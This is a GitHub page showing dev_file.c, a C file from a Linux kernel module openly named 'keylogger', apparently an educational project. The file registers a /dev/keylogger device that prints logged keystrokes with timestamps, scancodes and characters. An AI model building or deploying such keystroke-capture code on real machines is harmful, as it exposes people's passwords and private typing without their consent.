-
Notifications
You must be signed in to change notification settings - Fork 0
/
dev_file.c
120 lines (101 loc) · 2.43 KB
/
dev_file.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/seq_file.h>
#include <linux/miscdevice.h>
#include "keylogger.h"
#define DEVICE_NAME "keylogger"
extern struct keylogger keylogger;
static void *seq_start(struct seq_file *s, loff_t *pos)
{
struct keylogger_entry *e;
loff_t i;
mutex_lock(&keylogger.lock);
if (list_empty(&keylogger.entries))
goto start_err;
e = list_first_entry(&keylogger.entries,
struct keylogger_entry,
list);
for (i = 0; i < *pos
&& !list_is_last(&e->list, &keylogger.entries); i++
)
e = list_next_entry(e, list);
if (i != *pos)
goto start_err;
mutex_unlock(&keylogger.lock);
return e;
start_err:
mutex_unlock(&keylogger.lock);
return NULL;
}
static void *seq_next(struct seq_file *sfile, void *v, loff_t *pos)
{
struct keylogger_entry *e;
struct keylogger_entry *next;
(*pos)++;
e = (struct keylogger_entry *)v;
mutex_lock(&keylogger.lock);
if (list_is_last(&e->list, &keylogger.entries))
next = NULL;
else
next = list_next_entry(e, list);
mutex_unlock(&keylogger.lock);
return next;
}
static void seq_stop(struct seq_file *sfile, void *v)
{
(void)sfile;
(void)v;
/* No cleanup to do */
}
/*
* No need to lock we're not modifying the list, and our entry cannot be
* freed unless the seq_file has already been deregistered
*/
static int seq_show(struct seq_file *sfile, void *v)
{
struct keylogger_entry *e = (struct keylogger_entry *)v;
seq_printf(sfile,
"[%02d:%02d:%02d] %#04llx -> \"%s\" : '%c' / '%c', %s\n",
e->time.tm_hour,
e->time.tm_min,
e->time.tm_sec,
e->scancode,
e->key.name,
e->key.ascii,
e->key.ascii_uppercase,
e->released ? "Released" : "Pressed");
return 0;
}
static const struct seq_operations ft_seq_ops = {
.start = seq_start,
.next = seq_next,
.stop = seq_stop,
.show = seq_show,
};
static int ft_dev_open(struct inode *inodep, struct file *file)
{
(void)inodep;
/* seq_open warns if it thinks it's overwriting the private_data */
file->private_data = NULL;
return seq_open(file, &ft_seq_ops);
}
static const struct file_operations ft_fops = {
.owner = THIS_MODULE,
.open = ft_dev_open,
.read = seq_read,
.llseek = seq_lseek,
.release = seq_release,
};
static struct miscdevice ft_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = DEVICE_NAME,
.fops = &ft_fops
};
int ft_create_dev_file(void)
{
return misc_register(&ft_device);
}
void ft_delete_dev_file(void)
{
misc_deregister(&ft_device);
}